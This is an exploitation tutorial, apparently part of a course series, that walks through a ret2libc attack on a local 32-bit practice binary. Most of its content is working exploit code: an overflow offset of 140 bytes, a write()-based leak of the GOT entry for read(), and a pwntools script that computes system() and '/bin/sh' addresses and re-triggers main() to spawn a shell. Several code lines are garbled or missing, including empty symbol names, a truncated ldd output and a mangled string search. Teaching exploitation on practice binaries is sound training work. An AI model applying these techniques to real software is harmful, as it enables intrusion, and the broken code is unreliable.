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Pay your local library a visit

At this point you're probably used to hunting through binaries for useful functions or code that you can use to get a shell. But what do you do without a call to system()?

The simple answer: get a shell anyways. :)

The long answer is a bit more complicated. This attack is called a "Return to libc", or ret2libc for short. If you don't remember the PLT and GOT from before, now is a good time to check the glossary and maybe do some googling. You'll recall that ASLR randomizes the libc address, but the good news is that with arbitrary read() and write() calls, you can easily circumvent this.

This binary has what we call Dynamic Input, which is some super fancy ego-inflating jargon that means we can change inputs in the same program. Basically any program where you can trigger the vulnerability twice (or more) with different exploits in the same run is dynamic. If it still doesn't make sense, just stay tuned.

If you haven't already, run through Exercise 3.5: Intro to pwntools

Seriously, go do that.

Now that you've made it this far, I'll give a brief overview of this style of exploit. The libc functions that the PLT stubs call aren't just some magical ethereal functions. They're real and they're mapped to a real page in memory with an address that you can call if you're clever. The entire libc is in the binary. From here, we exploit the fact that truly randomizing everything is computationally expensive. Instead, ASLR only randomizes the base address of the libc. This means that &function_1 - &function_2 is constant as long as you're using the same libc file. With this in mind, the goal is to leak (write()) the address of some libc function to stdout. we then take that address, compute the address of system, call main() (or whatever function contains the vulnerability) again, and call system() with the newly computed address.

Still confused? I was when I first learned this, but I'll try to explain as I go.

First, we have to calculate the offset of %eip

$ python -c 'print "A"*140 + "BBBB"' | strace ./exercise-4
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---

After 140 bytes, we have %eip

From here, we need to leak the address of a libc function.

We can do this by calling write(1, &function, 4)

I'll be using the GOT address of read() (remember that the GOT is an array of pointers into libc)

$ objdump -d exercise-4 | grep ">:a"
08048370 <write@plt>:

$ objdump -R exercise-4
0804a00c R_386_JUMP_SLOT   read

With these addresses, we get the following exploit.

python -c 'print "A"*140 + "\x70\x83\x04\x08" + "RETN" +
"\x01\x00\x00\x00"+ "\x0c\xa0\x04\x08" + "\x04\x00\x00\x00"' | ./exercise-4

If you go ahead and run this a few times, you'll get some weird outputs:

�+o�Segmentation fault (core dumped)
�kh�Segmentation fault (core dumped)
��n�Segmentation fault (core dumped)

The four bytes before the SEGFAULT are the libc address.

From here, we're going to run:

$ ldd exercise-4 =>  (0xf76f9000) => /lib/i386-linux-gnu/ (0xf753c000)
    /lib/ (0xf76fa000)

Since this is a local binary challenge, the libc file is just going to be whatever the standard one is on your computer. The same binary running on a different machine could have a different libc, and therefore give you different results.

All we have to do is grab a copy of that libc and put it in our directory. If you ever exploit a remote binary and you don't have the libc, there are plenty of places you can get them online.

$ cp /lib/i386-linux-gnu/ ./

Now we need pwntools.

We'll start our script off with the typical items:

from pwn import *
context(arch='i386', os='linux') # <-- Add the architecture and os
binary = ELF("exercise-4")
libc = ELF("")

r = process("./exercise-4")

After this, we know we'll need the read(), write(), the GOT address of read(), and a pop; ret ropgadget, so we add these in.

write_plt = p32(binary.symbols["write"])
read_GOT = p32(binary.symbols[""])
read_plt = p32(binary.symbols["read"])
bss_addr = p32(binary.symbols["__bss_start"])
pop_ret = "\x9d\x85\x04\x08"

Now the binary outputs a line first, so we add:


Now we should start building our exploit. We want to try to avoid using the escape strings from before, it makes for nicer code and forces you to use pwntools the right way.

exploit = "A"*140                                               # EIP offset
exploit += write_plt +pop_ret +  p32(1)+ read_GOT + p32(4)      # Call to write()
exploit += p32(binary.symbols["main"])                          # Call main() again to retrigger the vulnerability

Now we want to send the first payload:


Now here's the cool part. Since we know that the program prints out the address of read() in the libc (remember those funky bytes from earlier before the SEGFAULT?) we can take those and calculate the base address of libc. This indirectly means that we can call any function in the standard library.

addr_read = int(r.recv(4)[::-1].encode("hex"),16)
libc_base = addr_read - libc.symbols["read"]
system = p32(libc_base + libc.symbols["system"])

Let's break down my hacky addr_read line.

  1. recv() 4 bytes from r
  2. Reverses the remaining bytes (because of little endian encoding) and converts them to hex
  3. Parse that as an integer.

Voila! We now have the address of read() in libc.

From there, we subtract read()s address in the regular libc, giving us the base address for this runtime. In the last line, we add the offset of system() in the libc to our calculated base. This gives us the address of system for this runtime.

The best part of this whole show is that the pesky "/bin/sh" string we need is in libc! We can calculate the address of that as well!

binsh = p32(libc_base +"/bin/sh").next())

Now all we've got to do is send our exploit with some extra padding (it was 140 before, but now it's 148 since we overflow from before the stack frame) and we get a shell.

r.sendline("A"*148+ system + "RETN" + binsh + binsh) # <- 148?????? why 148?
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